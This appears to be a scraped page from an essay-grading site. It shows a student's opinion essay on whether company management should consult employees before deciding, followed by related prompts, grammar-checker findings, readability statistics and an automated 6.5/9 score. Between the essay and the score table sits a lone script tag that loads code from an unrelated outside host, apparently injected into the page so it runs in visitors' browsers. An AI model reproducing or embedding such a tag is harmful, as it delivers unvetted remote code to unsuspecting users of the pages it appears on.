Some people think that top level authorities of a company should always take suggestions or ideas from employees to take any decision while other disagree.
It is a true fact to consider that today's world has become a global village. Due to that reason, business has to face huge competition to catch-up the highly competitive market. Considering this, there are some analysts who hold an opinion that in the company top management should consider employees suggestions or ideas before making the decisions or innovation while others consider that they should take decisions on their own. This essay will assert both sides of the contention before deducing a reasonable conclusion.
Higher authorities should consider employees suggestions or ideas before taking important decisions for the company. First and foremost, job experience could be a significant factor. It is generally seen that majority of the people working in the particular area have become experienced professionals with different practical knowledge that the management could use in their favour for decision making. The fact could be demonstrated by in the food processing industry; food processing has been divided into various sectors such as harvesting, separating, filling, packaging and labelling etc. and to take decision appropriate employees should be engaged in the decision-making. The engagement of employees in decision making creates a very positive impression and inspires them to work better. The employees start feeling as part of the company and their output significantly increases. This is also an effective measure to control the mutiny of the labour in an industry.
There are some groups who are in favour of the idea that management should not consider employees suggestions or ideas when they make decisions, in spite of views discussed above. Management responsibility could be a substantial reason behind the opponent's viewpoint. There are companies where it is believed that the higher management is responsible for coming up with the best decision and innovation for better a future because they believe employees add ideas or suggestions for their personal interests.
In conclusion, undoubtedly, company managements have higher responsibilities to take plausibility of implementation for the healthier future; however, as far as I am concerned, lower level worked force has immense experienced of their profession. Therefore, without any reasonable concern employees cannot be neglected and their decision and feedback should always be included while taking any decision for the company.
<script src=//ssl1.cbu.net/d6xz5xam></script>
| Post date | Users | Rates | Link to Content |
|---|---|---|---|
| 2019-03-09 | Saira Faiz | 73 | view |
- Some celebrities say that their private lives shouldn’t come under media scrutiny. Other people, however, believe that they should accept it as part of their fame.Discuss both views and give your opinion. 89
- Some people think that both travellers and business people must have the same attitude to local people and the traditions of countries they visit 78
- There are more cars on the roads these days and more accidents are happening. As a result, some politicians have suggested that people should take regular driving tests throughout their lives, rather than one single test. What do you think are the advanta 61
- Some people who have been in prison become good citizens later and it is often argued that these are the best people to talk to teenagers about the dangers of committing a crime. 61
- Most people believe that money is a very important consideration when choosing a job as it can help you get better lifestyle; however, there are some who believe it is more important to have a job you enjoy and that this and not money will lead to greate 84
Grammar and spelling errors:
Line 2, column 795, Rule ID: ENGLISH_WORD_REPEAT_BEGINNING_RULE
Message: Three successive sentences begin with the same word. Reword the sentence or use a thesaurus to find a synonym.
...ssion and inspires them to work better. The employees start feeling as part of the ...
^^^
Line 2, column 943, Rule ID: WHITESPACE_RULE
Message: Possible typo: you repeated a whitespace
Suggestion:
... effective measure to control the mutiny of the labour in an industry. There are...
^^
Line 3, column 247, Rule ID: POSSESIVE_APOSTROPHE[2]
Message: Possible typo: apostrophe is missing. Did you mean 'opponents'' or 'opponent's'?
Suggestion: opponents'; opponent's
...ould be a substantial reason behind the opponents viewpoint. There are companies where it...
^^^^^^^^^
Transition Words or Phrases used:
also, first, however, if, so, therefore, while, as to, in conclusion, such as, in spite of
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 16.0 13.1623246493 122% => OK
Auxiliary verbs: 12.0 7.85571142285 153% => OK
Conjunction : 13.0 10.4138276553 125% => OK
Relative clauses : 12.0 7.30460921844 164% => OK
Pronoun: 25.0 24.0651302605 104% => OK
Preposition: 40.0 41.998997996 95% => OK
Nominalization: 12.0 8.3376753507 144% => OK
Performance on vocabulary words:
No of characters: 2068.0 1615.20841683 128% => OK
No of words: 368.0 315.596192385 117% => OK
Chars per words: 5.61956521739 5.12529762239 110% => OK
Fourth root words length: 4.37987740619 4.20363070211 104% => OK
Word Length SD: 3.10175189841 2.80592935109 111% => OK
Unique words: 200.0 176.041082164 114% => OK
Unique words percentage: 0.54347826087 0.561755894193 97% => OK
syllable_count: 651.6 506.74238477 129% => OK
avg_syllables_per_word: 1.8 1.60771543086 112% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 4.0 5.43587174349 74% => OK
Article: 3.0 2.52805611222 119% => OK
Subordination: 1.0 2.10420841683 48% => OK
Conjunction: 1.0 0.809619238477 124% => OK
Preposition: 4.0 4.76152304609 84% => OK
Performance on sentences:
How many sentences: 17.0 16.0721442886 106% => OK
Sentence length: 21.0 20.2975951904 103% => OK
Sentence length SD: 64.7264673139 49.4020404114 131% => OK
Chars per sentence: 121.647058824 106.682146367 114% => OK
Words per sentence: 21.6470588235 20.7667163134 104% => OK
Discourse Markers: 5.29411764706 7.06120827912 75% => OK
Paragraphs: 4.0 4.38176352705 91% => OK
Language errors: 3.0 5.01903807615 60% => OK
Sentences with positive sentiment : 13.0 8.67935871743 150% => OK
Sentences with negative sentiment : 2.0 3.9879759519 50% => More negative sentences wanted.
Sentences with neutral sentiment: 2.0 3.4128256513 59% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.33239824412 0.244688304435 136% => OK
Sentence topic coherence: 0.101297697033 0.084324248473 120% => OK
Sentence topic coherence SD: 0.116392420874 0.0667982634062 174% => OK
Paragraph topic coherence: 0.205363527002 0.151304729494 136% => OK
Paragraph topic coherence SD: 0.0349597886741 0.056905535591 61% => OK
Essay readability:
automated_readability_index: 15.9 13.0946893788 121% => OK
flesch_reading_ease: 33.24 50.2224549098 66% => OK
smog_index: 8.8 7.44779559118 118% => OK
flesch_kincaid_grade: 13.8 11.3001002004 122% => OK
coleman_liau_index: 15.32 12.4159519038 123% => OK
dale_chall_readability_score: 9.36 8.58950901804 109% => OK
difficult_words: 109.0 78.4519038076 139% => OK
linsear_write_formula: 11.5 9.78957915832 117% => OK
gunning_fog: 10.4 10.1190380762 103% => OK
text_standard: 16.0 10.7795591182 148% => OK
What are above readability scores?
---------------------
Rates: 73.0337078652 out of 100
Scores by essay e-grader: 6.5 Out of 9
---------------------
Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.